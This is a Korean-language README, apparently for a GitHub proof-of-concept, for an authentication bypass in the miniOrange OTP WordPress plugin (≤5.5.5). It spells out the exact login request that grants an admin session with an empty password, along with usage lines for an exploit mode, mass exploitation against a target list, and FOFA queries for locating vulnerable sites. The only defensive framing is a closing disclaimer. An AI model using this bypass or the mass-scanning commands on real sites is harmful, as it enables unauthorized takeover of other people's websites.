CVE-2026-85984 — miniOrange OTP 로그인 (인증 우회)

CVE-2026-85984 — miniOrange OTP Login, Verification and SMS Notifications ≤ 5.5.5에 대한 Python 3 PoC입니다.

설명 (PoCbit / GitHub)

CVE-2026-85984 — 빈 비밀번호와 함께 POST 매개변수 **mo_wp_login_intent=otp**를 통해 발생하는 비인증 인증 우회(CWE-287)입니다. **mo_by_pass_login()**의 skip_pass_fallback 분기에서 플러그인은 **wp_authenticate_username_password()**를 건너뛰고 사용자 이름만으로 사용자를 확인하며, Admin OTP Bypass 옵션이 활성화된 경우 관리자 역할을 충분한 것으로 간주합니다.

공격: log=<admin_user>, pwd=(빈 값), **mo_wp_login_intent=otp**를 사용한 wp-login.php.

조건 (모두 사이트 관리자가 활성화해야 함):

1. WP Login OTP
2. Login with Only OTP
3. Allow Users to Login with Username and Password
4. Admin OTP Bypass

CVSS 3.1: 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). 수정: 5.5.6+ (Wordfence CNA, 발견자 Supakiad S. / m3ez).

PoC 페이지: https://pocbit.org/pocs/cve-2026-85984

PoCbit

카탈로그: https://pocbit.org/pocs/

플러그인 슬러그	miniorange-otp-verification
영향 받는 버전	≤ 5.5.5
수정된 버전	5.5.6+
공격 벡터	wp-login.php + mo_wp_login_intent=otp
영향	관리자 세션 (사이트 전체 장악)

PoC에는 컬러 CLI 배너, 플러그인/버전 스캔, 선택적 사용자 열거(REST/author), --mode exploit 우회 시도, pocbit / pocbit_catalog / pocbit_page가 포함된 대량 JSONL이 포함됩니다.

사용법

pip install -r requirements.txt

python poc.py -u https://wordpress.example --mode check
python poc.py -u https://wordpress.example --mode check --probe-login
python poc.py -u https://wordpress.example --mode exploit --username admin
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py -u https://wordpress.example --mode exploit --no-color

FOFA / hunt

body="/wp-content/plugins/miniorange-otp-verification"
body="mo_wp_login_intent"

GitHub About (EN)

CVE-2026-85984 PoC: WordPress miniOrange OTP ≤5.5.5에서 mo_wp_login_intent=otp + 빈 비밀번호를 통한 비인증 관리자 우회. 검사/익스플로잇 모드, 컬러 CLI. PoCbit

Özet (TR)

CVE-2026-85984: miniOrange OTP 플러그인에서 빈 비밀번호 + mo_wp_login_intent=otp로 관리자 세션 (잘못된 OTP 설정 필요). 5.5.6 패치. PoC: 컬러 인터페이스 + exploit 모드.

법적 고지

승인된 테스트에만 사용하십시오. 소유하지 않았거나 테스트 권한이 없는 시스템에서는 사용하지 마십시오.